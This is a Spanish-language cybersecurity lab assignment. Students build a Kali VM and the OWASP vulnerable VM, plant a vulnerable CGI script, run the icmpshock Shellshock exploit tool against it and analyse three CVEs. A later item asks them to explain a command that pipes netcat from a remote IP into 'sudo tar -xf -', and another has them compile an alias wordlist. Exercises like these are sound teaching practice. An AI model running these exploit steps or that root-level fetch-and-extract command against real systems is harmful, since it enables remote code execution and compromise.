Práctico 0

1) Crear una Maquina Virtual con Sistema Operativo Kali.
   Tutorial de referencia:
   https://phoenixnap.com/kb/how-to-install-kali-linux-on-virtualbox

2) Instalar la Máquina Virtual de OWASP[1] versión 1.2 del siguiente enlace:
   https://sourceforge.net/projects/owaspbwa/files/

   Configurar la interfaz de red en modo bridge enlazado con el adaptador de red que estemos usando (ya sea la placa de red inalámbrica o no).

   EL usuario y password también se mostrarán una vez la máquina virtual arranque.

- Ejecutar dentro de la VM (Owaspbwa):
  - `wget --no-check-certificate https://raw.githubusercontent.com/cheetz/icmpshock/master/test.cgi -O /usr/lib/cgi-bin/test.cgi`
  - `chmod +x /usr/lib/cgi-bin/test.cgi`

- *Anotar la dirección IP de la VM prendida.*

- Verificar si la VM es vulnerable a Shellshock (localmente)

3) Asegurarse de tener la VM del punto 2) prendida y conocer su dirección IP..
   Desde la VM instalada en 1) ejecutar:
   - `git clone https://github.com/cheetz/icmpshock`
   - `cd icmpshock`
   - `chmod +x icmpshock.py`
   - `#Editar el archivo target_list.txt y agregar la IP obtenida en 2)`
   - `#En una ventana de terminal nueva ejecutar:`
     - `tcpdump -nni wlan0 -e icmp[icmptype]==8`
       `#reemplazar wlan0 por la interfaz de red correcta.`
   - `./icmpshock.py`

   Ver en la ventana que ejecuta tcpdump que paso.

   Investigar cómo modificar el comando ejecutado.

4) Analizar las siguientes 3(tres) vulnerabilidades reportadas en los siguientes enlaces:

   https://blog.0patch.com/2020/07/remote-code-execution-vulnerability-in.html

[1] OWASP Broken Web Applications Project

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13777

https://nvd.nist.gov/vuln/detail/CVE-2014-6271

Completar el cuadro:

?	ENLACE 1	ENLACE 2	ENLACE 3
Cual es el riesgo			
Cuales son los requerimientos para la explotación			
Cómo mitigar la vulnerabilidad			

5) Investigar y crear un diccionario o lista en texto plano (una palabra por línea) con los aliases de los diferentes colaboradores de la e-zine: Ekoparty.

6) □ Sin ejecutar, describir que hace el siguiente comando:
nc 143.0.100.198 1099 | sudo tar -xf -

7) [opcional] Practicar bash: https://www.learnshell.org/